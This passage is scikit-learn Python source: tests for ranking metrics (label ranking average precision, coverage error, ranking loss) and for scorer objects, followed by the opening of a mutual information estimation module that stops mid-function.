    assert_almost_equal(lrap_score([[1], [0], [1], [0]],
                                   [[0.5], [0.5], [0.5], [0.5]]), 1.)


def check_lrap_error_raised(lrap_score):
    # Raise value error if not appropriate format
    assert_raises(ValueError, lrap_score,
                  [0, 1, 0], [0.25, 0.3, 0.2])
    assert_raises(ValueError, lrap_score, [0, 1, 2],
                  [[0.25, 0.75, 0.0], [0.7, 0.3, 0.0], [0.8, 0.2, 0.0]])
    assert_raises(ValueError, lrap_score, [(0), (1), (2)],
                  [[0.25, 0.75, 0.0], [0.7, 0.3, 0.0], [0.8, 0.2, 0.0]])

    # Check that y_true.shape != y_score.shape raise the proper exception
    assert_raises(ValueError, lrap_score, [[0, 1], [0, 1]], [0, 1])
    assert_raises(ValueError, lrap_score, [[0, 1], [0, 1]], [[0, 1]])
    assert_raises(ValueError, lrap_score, [[0, 1], [0, 1]], [[0], [1]])
    assert_raises(ValueError, lrap_score, [[0, 1]], [[0, 1], [0, 1]])
    assert_raises(ValueError, lrap_score, [[0], [1]], [[0, 1], [0, 1]])
    assert_raises(ValueError, lrap_score, [[0, 1], [0, 1]], [[0], [1]])


def check_lrap_only_ties(lrap_score):
    # Check tie handling in score
    # Basic check with only ties and increasing label space
    for n_labels in range(2, 10):
        y_score = np.ones((1, n_labels))

        # Check for growing number of consecutive relevant
        for n_relevant in range(1, n_labels):
            # Check for a bunch of positions
            for pos in range(n_labels - n_relevant):
                y_true = np.zeros((1, n_labels))
                y_true[0, pos:pos + n_relevant] = 1
                assert_almost_equal(lrap_score(y_true, y_score),
                                    n_relevant / n_labels)


def check_lrap_without_tie_and_increasing_score(lrap_score):
    # Check that Label ranking average precision works for various
    # Basic check with increasing label space size and decreasing score
    for n_labels in range(2, 10):
        y_score = n_labels - (np.arange(n_labels).reshape((1, n_labels)) + 1)

        # First and last
        y_true = np.zeros((1, n_labels))
        y_true[0, 0] = 1
        y_true[0, -1] = 1
        assert_almost_equal(lrap_score(y_true, y_score),
                            (2 / n_labels + 1) / 2)

        # Check for growing number of consecutive relevant label
        for n_relevant in range(1, n_labels):
            # Check for a bunch of position
            for pos in range(n_labels - n_relevant):
                y_true = np.zeros((1, n_labels))
                y_true[0, pos:pos + n_relevant] = 1
                assert_almost_equal(lrap_score(y_true, y_score),
                                    sum((r + 1) / ((pos + r + 1) * n_relevant)
                                        for r in range(n_relevant)))


def _my_lrap(y_true, y_score):
    """Simple implementation of label ranking average precision"""
    check_consistent_length(y_true, y_score)
    y_true = check_array(y_true)
    y_score = check_array(y_score)
    n_samples, n_labels = y_true.shape
    score = np.empty((n_samples, ))
    for i in range(n_samples):
        # The best rank correspond to 1. Rank higher than 1 are worse.
        # The best inverse ranking correspond to n_labels.
        unique_rank, inv_rank = np.unique(y_score[i], return_inverse=True)
        n_ranks = unique_rank.size
        rank = n_ranks - inv_rank

        # Rank need to be corrected to take into account ties
        # ex: rank 1 ex aequo means that both label are rank 2.
        corr_rank = np.bincount(rank, minlength=n_ranks + 1).cumsum()
        rank = corr_rank[rank]

        relevant = y_true[i].nonzero()[0]
        if relevant.size == 0 or relevant.size == n_labels:
            score[i] = 1
            continue

        score[i] = 0.
        for label in relevant:
            # Let's count the number of relevant label with better rank
            # (smaller rank).
            n_ranked_above = sum(rank[r] <= rank[label] for r in relevant)

            # Weight by the rank of the actual label
            score[i] += n_ranked_above / rank[label]

        score[i] /= relevant.size

    return score.mean()


def check_alternative_lrap_implementation(lrap_score, n_classes=5,
                                          n_samples=20, random_state=0):
    _, y_true = make_multilabel_classification(n_features=1,
                                               allow_unlabeled=False,
                                               random_state=random_state,
                                               n_classes=n_classes,
                                               n_samples=n_samples)

    # Score with ties
    y_score = sparse_random_matrix(n_components=y_true.shape[0],
                                   n_features=y_true.shape[1],
                                   random_state=random_state)

    if hasattr(y_score, "toarray"):
        y_score = y_score.toarray()
    score_lrap = label_ranking_average_precision_score(y_true, y_score)
    score_my_lrap = _my_lrap(y_true, y_score)
    assert_almost_equal(score_lrap, score_my_lrap)

    # Uniform score
    random_state = check_random_state(random_state)
    y_score = random_state.uniform(size=(n_samples, n_classes))
    score_lrap = label_ranking_average_precision_score(y_true, y_score)
    score_my_lrap = _my_lrap(y_true, y_score)
    assert_almost_equal(score_lrap, score_my_lrap)


def test_label_ranking_avp():
    for fn in [label_ranking_average_precision_score, _my_lrap]:
        yield check_lrap_toy, fn
        yield check_lrap_without_tie_and_increasing_score, fn
        yield check_lrap_only_ties, fn
        yield check_zero_or_all_relevant_labels, fn
        yield check_lrap_error_raised, label_ranking_average_precision_score

    for n_samples, n_classes, random_state in product((1, 2, 8, 20),
                                                      (2, 5, 10),
                                                      range(1)):
        yield (check_alternative_lrap_implementation,
               label_ranking_average_precision_score,
               n_classes, n_samples, random_state)


def test_coverage_error():
    # Toy case
    assert_almost_equal(coverage_error([[0, 1]], [[0.25, 0.75]]), 1)
    assert_almost_equal(coverage_error([[0, 1]], [[0.75, 0.25]]), 2)
    assert_almost_equal(coverage_error([[1, 1]], [[0.75, 0.25]]), 2)
    assert_almost_equal(coverage_error([[0, 0]], [[0.75, 0.25]]), 0)

    assert_almost_equal(coverage_error([[0, 0, 0]], [[0.25, 0.5, 0.75]]), 0)
    assert_almost_equal(coverage_error([[0, 0, 1]], [[0.25, 0.5, 0.75]]), 1)
    assert_almost_equal(coverage_error([[0, 1, 0]], [[0.25, 0.5, 0.75]]), 2)
    assert_almost_equal(coverage_error([[0, 1, 1]], [[0.25, 0.5, 0.75]]), 2)
    assert_almost_equal(coverage_error([[1, 0, 0]], [[0.25, 0.5, 0.75]]), 3)
    assert_almost_equal(coverage_error([[1, 0, 1]], [[0.25, 0.5, 0.75]]), 3)
    assert_almost_equal(coverage_error([[1, 1, 0]], [[0.25, 0.5, 0.75]]), 3)
    assert_almost_equal(coverage_error([[1, 1, 1]], [[0.25, 0.5, 0.75]]), 3)

    assert_almost_equal(coverage_error([[0, 0, 0]], [[0.75, 0.5, 0.25]]), 0)
    assert_almost_equal(coverage_error([[0, 0, 1]], [[0.75, 0.5, 0.25]]), 3)
    assert_almost_equal(coverage_error([[0, 1, 0]], [[0.75, 0.5, 0.25]]), 2)
    assert_almost_equal(coverage_error([[0, 1, 1]], [[0.75, 0.5, 0.25]]), 3)
    assert_almost_equal(coverage_error([[1, 0, 0]], [[0.75, 0.5, 0.25]]), 1)
    assert_almost_equal(coverage_error([[1, 0, 1]], [[0.75, 0.5, 0.25]]), 3)
    assert_almost_equal(coverage_error([[1, 1, 0]], [[0.75, 0.5, 0.25]]), 2)
    assert_almost_equal(coverage_error([[1, 1, 1]], [[0.75, 0.5, 0.25]]), 3)

    assert_almost_equal(coverage_error([[0, 0, 0]], [[0.5, 0.75, 0.25]]), 0)
    assert_almost_equal(coverage_error([[0, 0, 1]], [[0.5, 0.75, 0.25]]), 3)
    assert_almost_equal(coverage_error([[0, 1, 0]], [[0.5, 0.75, 0.25]]), 1)
    assert_almost_equal(coverage_error([[0, 1, 1]], [[0.5, 0.75, 0.25]]), 3)
    assert_almost_equal(coverage_error([[1, 0, 0]], [[0.5, 0.75, 0.25]]), 2)
    assert_almost_equal(coverage_error([[1, 0, 1]], [[0.5, 0.75, 0.25]]), 3)
    assert_almost_equal(coverage_error([[1, 1, 0]], [[0.5, 0.75, 0.25]]), 2)
    assert_almost_equal(coverage_error([[1, 1, 1]], [[0.5, 0.75, 0.25]]), 3)

    # Non trival case
    assert_almost_equal(coverage_error([[0, 1, 0], [1, 1, 0]],
                                       [[0.1, 10., -3], [0, 1, 3]]),
                        (1 + 3) / 2.)

    assert_almost_equal(coverage_error([[0, 1, 0], [1, 1, 0], [0, 1, 1]],
                                       [[0.1, 10, -3], [0, 1, 3], [0, 2, 0]]),
                        (1 + 3 + 3) / 3.)

    assert_almost_equal(coverage_error([[0, 1, 0], [1, 1, 0], [0, 1, 1]],
                                       [[0.1, 10, -3], [3, 1, 3], [0, 2, 0]]),
                        (1 + 3 + 3) / 3.)


def test_coverage_tie_handling():
    assert_almost_equal(coverage_error([[0, 0]], [[0.5, 0.5]]), 0)
    assert_almost_equal(coverage_error([[1, 0]], [[0.5, 0.5]]), 2)
    assert_almost_equal(coverage_error([[0, 1]], [[0.5, 0.5]]), 2)
    assert_almost_equal(coverage_error([[1, 1]], [[0.5, 0.5]]), 2)

    assert_almost_equal(coverage_error([[0, 0, 0]], [[0.25, 0.5, 0.5]]), 0)
    assert_almost_equal(coverage_error([[0, 0, 1]], [[0.25, 0.5, 0.5]]), 2)
    assert_almost_equal(coverage_error([[0, 1, 0]], [[0.25, 0.5, 0.5]]), 2)
    assert_almost_equal(coverage_error([[0, 1, 1]], [[0.25, 0.5, 0.5]]), 2)
    assert_almost_equal(coverage_error([[1, 0, 0]], [[0.25, 0.5, 0.5]]), 3)
    assert_almost_equal(coverage_error([[1, 0, 1]], [[0.25, 0.5, 0.5]]), 3)
    assert_almost_equal(coverage_error([[1, 1, 0]], [[0.25, 0.5, 0.5]]), 3)
    assert_almost_equal(coverage_error([[1, 1, 1]], [[0.25, 0.5, 0.5]]), 3)


def test_label_ranking_loss():
    assert_almost_equal(label_ranking_loss([[0, 1]], [[0.25, 0.75]]), 0)
    assert_almost_equal(label_ranking_loss([[0, 1]], [[0.75, 0.25]]), 1)

    assert_almost_equal(label_ranking_loss([[0, 0, 1]], [[0.25, 0.5, 0.75]]),
                        0)
    assert_almost_equal(label_ranking_loss([[0, 1, 0]], [[0.25, 0.5, 0.75]]),
                        1 / 2)
    assert_almost_equal(label_ranking_loss([[0, 1, 1]], [[0.25, 0.5, 0.75]]),
                        0)
    assert_almost_equal(label_ranking_loss([[1, 0, 0]], [[0.25, 0.5, 0.75]]),
                        2 / 2)
    assert_almost_equal(label_ranking_loss([[1, 0, 1]], [[0.25, 0.5, 0.75]]),
                        1 / 2)
    assert_almost_equal(label_ranking_loss([[1, 1, 0]], [[0.25, 0.5, 0.75]]),
                        2 / 2)

    # Undefined metrics -  the ranking doesn't matter
    assert_almost_equal(label_ranking_loss([[0, 0]], [[0.75, 0.25]]), 0)
    assert_almost_equal(label_ranking_loss([[1, 1]], [[0.75, 0.25]]), 0)
    assert_almost_equal(label_ranking_loss([[0, 0]], [[0.5, 0.5]]), 0)
    assert_almost_equal(label_ranking_loss([[1, 1]], [[0.5, 0.5]]), 0)

    assert_almost_equal(label_ranking_loss([[0, 0, 0]], [[0.5, 0.75, 0.25]]),
                        0)
    assert_almost_equal(label_ranking_loss([[1, 1, 1]], [[0.5, 0.75, 0.25]]),
                        0)
    assert_almost_equal(label_ranking_loss([[0, 0, 0]], [[0.25, 0.5, 0.5]]),
                        0)
    assert_almost_equal(label_ranking_loss([[1, 1, 1]], [[0.25, 0.5, 0.5]]), 0)

    # Non trival case
    assert_almost_equal(label_ranking_loss([[0, 1, 0], [1, 1, 0]],
                                           [[0.1, 10., -3], [0, 1, 3]]),
                        (0 + 2 / 2) / 2.)

    assert_almost_equal(label_ranking_loss(
        [[0, 1, 0], [1, 1, 0], [0, 1, 1]],
        [[0.1, 10, -3], [0, 1, 3], [0, 2, 0]]),
        (0 + 2 / 2 + 1 / 2) / 3.)

    assert_almost_equal(label_ranking_loss(
        [[0, 1, 0], [1, 1, 0], [0, 1, 1]],
        [[0.1, 10, -3], [3, 1, 3], [0, 2, 0]]),
        (0 + 2 / 2 + 1 / 2) / 3.)

    # Sparse csr matrices
    assert_almost_equal(label_ranking_loss(
        csr_matrix(np.array([[0, 1, 0], [1, 1, 0]])),
        [[0.1, 10, -3], [3, 1, 3]]),
        (0 + 2 / 2) / 2.)


def test_ranking_appropriate_input_shape():
    # Check that y_true.shape != y_score.shape raise the proper exception
    assert_raises(ValueError, label_ranking_loss, [[0, 1], [0, 1]], [0, 1])
    assert_raises(ValueError, label_ranking_loss, [[0, 1], [0, 1]], [[0, 1]])
    assert_raises(ValueError, label_ranking_loss,
                  [[0, 1], [0, 1]], [[0], [1]])

    assert_raises(ValueError, label_ranking_loss, [[0, 1]], [[0, 1], [0, 1]])
    assert_raises(ValueError, label_ranking_loss,
                  [[0], [1]], [[0, 1], [0, 1]])
    assert_raises(ValueError, label_ranking_loss, [[0, 1], [0, 1]], [[0], [1]])


def test_ranking_loss_ties_handling():
    # Tie handling
    assert_almost_equal(label_ranking_loss([[1, 0]], [[0.5, 0.5]]), 1)
    assert_almost_equal(label_ranking_loss([[0, 1]], [[0.5, 0.5]]), 1)
    assert_almost_equal(label_ranking_loss([[0, 0, 1]], [[0.25, 0.5, 0.5]]),
                        1 / 2)
    assert_almost_equal(label_ranking_loss([[0, 1, 0]], [[0.25, 0.5, 0.5]]),
                        1 / 2)
    assert_almost_equal(label_ranking_loss([[0, 1, 1]], [[0.25, 0.5, 0.5]]), 0)
    assert_almost_equal(label_ranking_loss([[1, 0, 0]], [[0.25, 0.5, 0.5]]), 1)
    assert_almost_equal(label_ranking_loss([[1, 0, 1]], [[0.25, 0.5, 0.5]]), 1)
    assert_almost_equal(label_ranking_loss([[1, 1, 0]], [[0.25, 0.5, 0.5]]), 1)






import pickle
import tempfile
import shutil
import os
import numbers

import numpy as np

from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raises_regexp
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.testing import assert_not_equal

from sklearn.base import BaseEstimator
from sklearn.metrics import (f1_score, r2_score, roc_auc_score, fbeta_score,
                             log_loss, precision_score, recall_score)
from sklearn.metrics.cluster import adjusted_rand_score
from sklearn.metrics.scorer import (check_scoring, _PredictScorer,
                                    _passthrough_scorer)
from sklearn.metrics import make_scorer, get_scorer, SCORERS
from sklearn.svm import LinearSVC
from sklearn.pipeline import make_pipeline
from sklearn.cluster import KMeans
from sklearn.dummy import DummyRegressor
from sklearn.linear_model import Ridge, LogisticRegression
from sklearn.tree import DecisionTreeClassifier, DecisionTreeRegressor
from sklearn.datasets import make_blobs
from sklearn.datasets import make_classification
from sklearn.datasets import make_multilabel_classification
from sklearn.datasets import load_diabetes
from sklearn.model_selection import train_test_split, cross_val_score
from sklearn.model_selection import GridSearchCV
from sklearn.multiclass import OneVsRestClassifier
from sklearn.externals import joblib


REGRESSION_SCORERS = ['r2', 'mean_absolute_error', 'mean_squared_error',
                      'median_absolute_error']

CLF_SCORERS = ['accuracy', 'f1', 'f1_weighted', 'f1_macro', 'f1_micro',
               'roc_auc', 'average_precision', 'precision',
               'precision_weighted', 'precision_macro', 'precision_micro',
               'recall', 'recall_weighted', 'recall_macro', 'recall_micro',
               'log_loss',
               'adjusted_rand_score'  # not really, but works
               ]

MULTILABEL_ONLY_SCORERS = ['precision_samples', 'recall_samples', 'f1_samples']


def _make_estimators(X_train, y_train, y_ml_train):
    # Make estimators that make sense to test various scoring methods
    sensible_regr = DummyRegressor(strategy='median')
    sensible_regr.fit(X_train, y_train)
    sensible_clf = DecisionTreeClassifier(random_state=0)
    sensible_clf.fit(X_train, y_train)
    sensible_ml_clf = DecisionTreeClassifier(random_state=0)
    sensible_ml_clf.fit(X_train, y_ml_train)
    return dict(
        [(name, sensible_regr) for name in REGRESSION_SCORERS] +
        [(name, sensible_clf) for name in CLF_SCORERS] +
        [(name, sensible_ml_clf) for name in MULTILABEL_ONLY_SCORERS]
    )


X_mm, y_mm, y_ml_mm = None, None, None
ESTIMATORS = None
TEMP_FOLDER = None


def setup_module():
    # Create some memory mapped data
    global X_mm, y_mm, y_ml_mm, TEMP_FOLDER, ESTIMATORS
    TEMP_FOLDER = tempfile.mkdtemp(prefix='sklearn_test_score_objects_')
    X, y = make_classification(n_samples=30, n_features=5, random_state=0)
    _, y_ml = make_multilabel_classification(n_samples=X.shape[0],
                                             random_state=0)
    filename = os.path.join(TEMP_FOLDER, 'test_data.pkl')
    joblib.dump((X, y, y_ml), filename)
    X_mm, y_mm, y_ml_mm = joblib.load(filename, mmap_mode='r')
    ESTIMATORS = _make_estimators(X_mm, y_mm, y_ml_mm)


def teardown_module():
    global X_mm, y_mm, y_ml_mm, TEMP_FOLDER, ESTIMATORS
    # GC closes the mmap file descriptors
    X_mm, y_mm, y_ml_mm, ESTIMATORS = None, None, None, None
    shutil.rmtree(TEMP_FOLDER)


class EstimatorWithoutFit(object):
    """Dummy estimator to test check_scoring"""
    pass


class EstimatorWithFit(BaseEstimator):
    """Dummy estimator to test check_scoring"""
    def fit(self, X, y):
        return self


class EstimatorWithFitAndScore(object):
    """Dummy estimator to test check_scoring"""
    def fit(self, X, y):
        return self

    def score(self, X, y):
        return 1.0


class EstimatorWithFitAndPredict(object):
    """Dummy estimator to test check_scoring"""
    def fit(self, X, y):
        self.y = y
        return self

    def predict(self, X):
        return self.y


class DummyScorer(object):
    """Dummy scorer that always returns 1."""
    def __call__(self, est, X, y):
        return 1


def test_all_scorers_repr():
    # Test that all scorers have a working repr
    for name, scorer in SCORERS.items():
        repr(scorer)


def test_check_scoring():
    # Test all branches of check_scoring
    estimator = EstimatorWithoutFit()
    pattern = (r"estimator should be an estimator implementing 'fit' method,"
               r" .* was passed")
    assert_raises_regexp(TypeError, pattern, check_scoring, estimator)

    estimator = EstimatorWithFitAndScore()
    estimator.fit([[1]], [1])
    scorer = check_scoring(estimator)
    assert_true(scorer is _passthrough_scorer)
    assert_almost_equal(scorer(estimator, [[1]], [1]), 1.0)

    estimator = EstimatorWithFitAndPredict()
    estimator.fit([[1]], [1])
    pattern = (r"If no scoring is specified, the estimator passed should have"
               r" a 'score' method\. The estimator .* does not\.")
    assert_raises_regexp(TypeError, pattern, check_scoring, estimator)

    scorer = check_scoring(estimator, "accuracy")
    assert_almost_equal(scorer(estimator, [[1]], [1]), 1.0)

    estimator = EstimatorWithFit()
    scorer = check_scoring(estimator, "accuracy")
    assert_true(isinstance(scorer, _PredictScorer))

    estimator = EstimatorWithFit()
    scorer = check_scoring(estimator, allow_none=True)
    assert_true(scorer is None)


def test_check_scoring_gridsearchcv():
    # test that check_scoring works on GridSearchCV and pipeline.
    # slightly redundant non-regression test.

    grid = GridSearchCV(LinearSVC(), param_grid={'C': [.1, 1]})
    scorer = check_scoring(grid, "f1")
    assert_true(isinstance(scorer, _PredictScorer))

    pipe = make_pipeline(LinearSVC())
    scorer = check_scoring(pipe, "f1")
    assert_true(isinstance(scorer, _PredictScorer))

    # check that cross_val_score definitely calls the scorer
    # and doesn't make any assumptions about the estimator apart from having a
    # fit.
    scores = cross_val_score(EstimatorWithFit(), [[1], [2], [3]], [1, 0, 1],
                             scoring=DummyScorer())
    assert_array_equal(scores, 1)


def test_make_scorer():
    # Sanity check on the make_scorer factory function.
    f = lambda *args: 0
    assert_raises(ValueError, make_scorer, f, needs_threshold=True,
                  needs_proba=True)


def test_classification_scores():
    # Test classification scorers.
    X, y = make_blobs(random_state=0, centers=2)
    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)
    clf = LinearSVC(random_state=0)
    clf.fit(X_train, y_train)

    for prefix, metric in [('f1', f1_score), ('precision', precision_score),
                           ('recall', recall_score)]:

        score1 = get_scorer('%s_weighted' % prefix)(clf, X_test, y_test)
        score2 = metric(y_test, clf.predict(X_test), pos_label=None,
                        average='weighted')
        assert_almost_equal(score1, score2)

        score1 = get_scorer('%s_macro' % prefix)(clf, X_test, y_test)
        score2 = metric(y_test, clf.predict(X_test), pos_label=None,
                        average='macro')
        assert_almost_equal(score1, score2)

        score1 = get_scorer('%s_micro' % prefix)(clf, X_test, y_test)
        score2 = metric(y_test, clf.predict(X_test), pos_label=None,
                        average='micro')
        assert_almost_equal(score1, score2)

        score1 = get_scorer('%s' % prefix)(clf, X_test, y_test)
        score2 = metric(y_test, clf.predict(X_test), pos_label=1)
        assert_almost_equal(score1, score2)

    # test fbeta score that takes an argument
    scorer = make_scorer(fbeta_score, beta=2)
    score1 = scorer(clf, X_test, y_test)
    score2 = fbeta_score(y_test, clf.predict(X_test), beta=2)
    assert_almost_equal(score1, score2)

    # test that custom scorer can be pickled
    unpickled_scorer = pickle.loads(pickle.dumps(scorer))
    score3 = unpickled_scorer(clf, X_test, y_test)
    assert_almost_equal(score1, score3)

    # smoke test the repr:
    repr(fbeta_score)


def test_regression_scorers():
    # Test regression scorers.
    diabetes = load_diabetes()
    X, y = diabetes.data, diabetes.target
    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)
    clf = Ridge()
    clf.fit(X_train, y_train)
    score1 = get_scorer('r2')(clf, X_test, y_test)
    score2 = r2_score(y_test, clf.predict(X_test))
    assert_almost_equal(score1, score2)


def test_thresholded_scorers():
    # Test scorers that take thresholds.
    X, y = make_blobs(random_state=0, centers=2)
    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)
    clf = LogisticRegression(random_state=0)
    clf.fit(X_train, y_train)
    score1 = get_scorer('roc_auc')(clf, X_test, y_test)
    score2 = roc_auc_score(y_test, clf.decision_function(X_test))
    score3 = roc_auc_score(y_test, clf.predict_proba(X_test)[:, 1])
    assert_almost_equal(score1, score2)
    assert_almost_equal(score1, score3)

    logscore = get_scorer('log_loss')(clf, X_test, y_test)
    logloss = log_loss(y_test, clf.predict_proba(X_test))
    assert_almost_equal(-logscore, logloss)

    # same for an estimator without decision_function
    clf = DecisionTreeClassifier()
    clf.fit(X_train, y_train)
    score1 = get_scorer('roc_auc')(clf, X_test, y_test)
    score2 = roc_auc_score(y_test, clf.predict_proba(X_test)[:, 1])
    assert_almost_equal(score1, score2)

    # test with a regressor (no decision_function)
    reg = DecisionTreeRegressor()
    reg.fit(X_train, y_train)
    score1 = get_scorer('roc_auc')(reg, X_test, y_test)
    score2 = roc_auc_score(y_test, reg.predict(X_test))
    assert_almost_equal(score1, score2)

    # Test that an exception is raised on more than two classes
    X, y = make_blobs(random_state=0, centers=3)
    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)
    clf.fit(X_train, y_train)
    assert_raises(ValueError, get_scorer('roc_auc'), clf, X_test, y_test)


def test_thresholded_scorers_multilabel_indicator_data():
    # Test that the scorer work with multilabel-indicator format
    # for multilabel and multi-output multi-class classifier
    X, y = make_multilabel_classification(allow_unlabeled=False,
                                          random_state=0)
    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)

    # Multi-output multi-class predict_proba
    clf = DecisionTreeClassifier()
    clf.fit(X_train, y_train)
    y_proba = clf.predict_proba(X_test)
    score1 = get_scorer('roc_auc')(clf, X_test, y_test)
    score2 = roc_auc_score(y_test, np.vstack(p[:, -1] for p in y_proba).T)
    assert_almost_equal(score1, score2)

    # Multi-output multi-class decision_function
    # TODO Is there any yet?
    clf = DecisionTreeClassifier()
    clf.fit(X_train, y_train)
    clf._predict_proba = clf.predict_proba
    clf.predict_proba = None
    clf.decision_function = lambda X: [p[:, 1] for p in clf._predict_proba(X)]

    y_proba = clf.decision_function(X_test)
    score1 = get_scorer('roc_auc')(clf, X_test, y_test)
    score2 = roc_auc_score(y_test, np.vstack(p for p in y_proba).T)
    assert_almost_equal(score1, score2)

    # Multilabel predict_proba
    clf = OneVsRestClassifier(DecisionTreeClassifier())
    clf.fit(X_train, y_train)
    score1 = get_scorer('roc_auc')(clf, X_test, y_test)
    score2 = roc_auc_score(y_test, clf.predict_proba(X_test))
    assert_almost_equal(score1, score2)

    # Multilabel decision function
    clf = OneVsRestClassifier(LinearSVC(random_state=0))
    clf.fit(X_train, y_train)
    score1 = get_scorer('roc_auc')(clf, X_test, y_test)
    score2 = roc_auc_score(y_test, clf.decision_function(X_test))
    assert_almost_equal(score1, score2)


def test_unsupervised_scorers():
    # Test clustering scorers against gold standard labeling.
    # We don't have any real unsupervised Scorers yet.
    X, y = make_blobs(random_state=0, centers=2)
    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)
    km = KMeans(n_clusters=3)
    km.fit(X_train)
    score1 = get_scorer('adjusted_rand_score')(km, X_test, y_test)
    score2 = adjusted_rand_score(y_test, km.predict(X_test))
    assert_almost_equal(score1, score2)


@ignore_warnings
def test_raises_on_score_list():
    # Test that when a list of scores is returned, we raise proper errors.
    X, y = make_blobs(random_state=0)
    f1_scorer_no_average = make_scorer(f1_score, average=None)
    clf = DecisionTreeClassifier()
    assert_raises(ValueError, cross_val_score, clf, X, y,
                  scoring=f1_scorer_no_average)
    grid_search = GridSearchCV(clf, scoring=f1_scorer_no_average,
                               param_grid={'max_depth': [1, 2]})
    assert_raises(ValueError, grid_search.fit, X, y)


@ignore_warnings
def test_scorer_sample_weight():
    # Test that scorers support sample_weight or raise sensible errors

    # Unlike the metrics invariance test, in the scorer case it's harder
    # to ensure that, on the classifier output, weighted and unweighted
    # scores really should be unequal.
    X, y = make_classification(random_state=0)
    _, y_ml = make_multilabel_classification(n_samples=X.shape[0],
                                             random_state=0)
    split = train_test_split(X, y, y_ml, random_state=0)
    X_train, X_test, y_train, y_test, y_ml_train, y_ml_test = split

    sample_weight = np.ones_like(y_test)
    sample_weight[:10] = 0

    # get sensible estimators for each metric
    estimator = _make_estimators(X_train, y_train, y_ml_train)

    for name, scorer in SCORERS.items():
        if name in MULTILABEL_ONLY_SCORERS:
            target = y_ml_test
        else:
            target = y_test
        try:
            weighted = scorer(estimator[name], X_test, target,
                              sample_weight=sample_weight)
            ignored = scorer(estimator[name], X_test[10:], target[10:])
            unweighted = scorer(estimator[name], X_test, target)
            assert_not_equal(weighted, unweighted,
                             msg="scorer {0} behaves identically when "
                             "called with sample weights: {1} vs "
                             "{2}".format(name, weighted, unweighted))
            assert_almost_equal(weighted, ignored,
                                err_msg="scorer {0} behaves differently when "
                                "ignoring samples and setting sample_weight to"
                                " 0: {1} vs {2}".format(name, weighted,
                                                        ignored))

        except TypeError as e:
            assert_true("sample_weight" in str(e),
                        "scorer {0} raises unhelpful exception when called "
                        "with sample weights: {1}".format(name, str(e)))


@ignore_warnings  # UndefinedMetricWarning for P / R scores
def check_scorer_memmap(scorer_name):
    scorer, estimator = SCORERS[scorer_name], ESTIMATORS[scorer_name]
    if scorer_name in MULTILABEL_ONLY_SCORERS:
        score = scorer(estimator, X_mm, y_ml_mm)
    else:
        score = scorer(estimator, X_mm, y_mm)
    assert isinstance(score, numbers.Number), scorer_name


def test_scorer_memmap_input():
    # Non-regression test for #6147: some score functions would
    # return singleton memmap when computed on memmap data instead of scalar
    # float values.
    for name in SCORERS.keys():
        yield check_scorer_memmap, name






# Author: Nikolay Mayorov <n59_ru@hotmail.com>
# License: 3-clause BSD
from __future__ import division

import numpy as np
from scipy.sparse import issparse
from scipy.special import digamma

from ..externals.six import moves
from ..metrics.cluster.supervised import mutual_info_score
from ..neighbors import NearestNeighbors
from ..preprocessing import scale
from ..utils import check_random_state
from ..utils.validation import check_X_y
from ..utils.multiclass import check_classification_targets


def _compute_mi_cc(x, y, n_neighbors):
    """Compute mutual information between two continuous variables.

    Parameters
    ----------
    x, y : ndarray, shape (n_samples,)
        Samples of two continuous random variables, must have an identical
        shape.

    n_neighbors : int
        Number of nearest neighbors to search for each point, see [1]_.

    Returns
    -------
    mi : float
        Estimated mutual information. If it turned out to be negative it is
        replace by 0.

    Notes
    -----
    True mutual information can't be negative. If its estimate by a numerical
    method is negative, it means (providing the method is adequate) that the
    mutual information is close to 0 and replacing it by 0 is a reasonable
    strategy.

    References
    ----------
    .. [1] A. Kraskov, H. Stogbauer and P. Grassberger, "Estimating mutual
           information". Phys. Rev. E 69, 2004.
    """
    n_samples = x.size

    x = x.reshape((-1, 1))
    y = y.reshape((-1, 1))
    xy = np.hstack((x, y))

    # Here we rely on NearestNeighbors to select the fastest algorithm.
    nn = NearestNeighbors(metric='chebyshev', n_neighbors=n_neighbors)

    nn.fit(xy)
    radius = nn.kneighbors()[0]
    radius = np.nextafter(radius[:, -1], 0)

    # Algorithm is selected explicitly to allow passing an array as radius
    # later (not all algorithms support this).
    nn.set_params(algorithm='kd_tree')

    nn.fit(x)
    ind = nn.radius_neighbors(radius=radius, return_distance=False)
    nx = np.array([i.size for i in ind])

    nn.fit(y)
    ind = nn.radius_neighbors(radius=radius, return_distance=False)
    ny = np.array([i.size for i in ind])

    mi = (digamma(n_samples) + digamma(n_neighbors) -
          np.mean(digamma(nx + 1)) - np.mean(digamma(ny + 1)))

    return max(0, mi)


def _compute_mi_cd(c, d, n_neighbors):
    """Compute mutual information between continuous and discrete variables.

    Parameters
    ----------
    c : ndarray, shape (n_samples,)
        Samples of a continuous random variable.

    d : ndarray, shape (n_samples,)
        Samples of a discrete random variable.

    n_neighbors : int
        Number of nearest neighbors to search for each point, see [1]_.

    Returns
    -------
    mi : float
        Estimated mutual information. If it turned out to be negative it is
        replace by 0.

    Notes
    -----
    True mutual information can't be negative. If its estimate by a numerical
    method is negative, it means (providing the method is adequate) that the
    mutual information is close to 0 and replacing it by 0 is a reasonable
    strategy.

    References
    ----------
    .. [1] B. C. Ross "Mutual Information between Discrete and Continuous
       Data Sets". PLoS ONE 9(2), 2014.
    """
    n_samples = c.shape[0]
    c = c.reshape((-1, 1))

    radius = np.empty(n_samples)
    label_counts = np.empty(n_samples)
    k_all = np.empty(n_samples)
    nn = NearestNeighbors()
    for label in np.unique(d):
        mask = d == label
        count = np.sum(mask)
        if count > 1:
            k = min(n_neighbors, count - 1)
            nn.set_params(n_neighbors=k)
            nn.fit(c[mask])
            r = nn.kneighbors()[0]
            radius[mask] = np.nextafter(r[:, -1], 0)
            k_all[mask] = k
        label_counts[mask] = count

    # Ignore points with unique labels.
    mask = label_counts > 1
    n_samples = np.sum(mask)
    label_counts = label_counts[mask]
    k_all = k_all[mask]
    c = c[mask]
    radius = radius[mask]

    nn.set_params(algorithm='kd_tree')
    nn.fit(c)
    ind = nn.radius_neighbors(radius=radius, return_distance=False)
    m_all = np.array([i.size for i in ind])

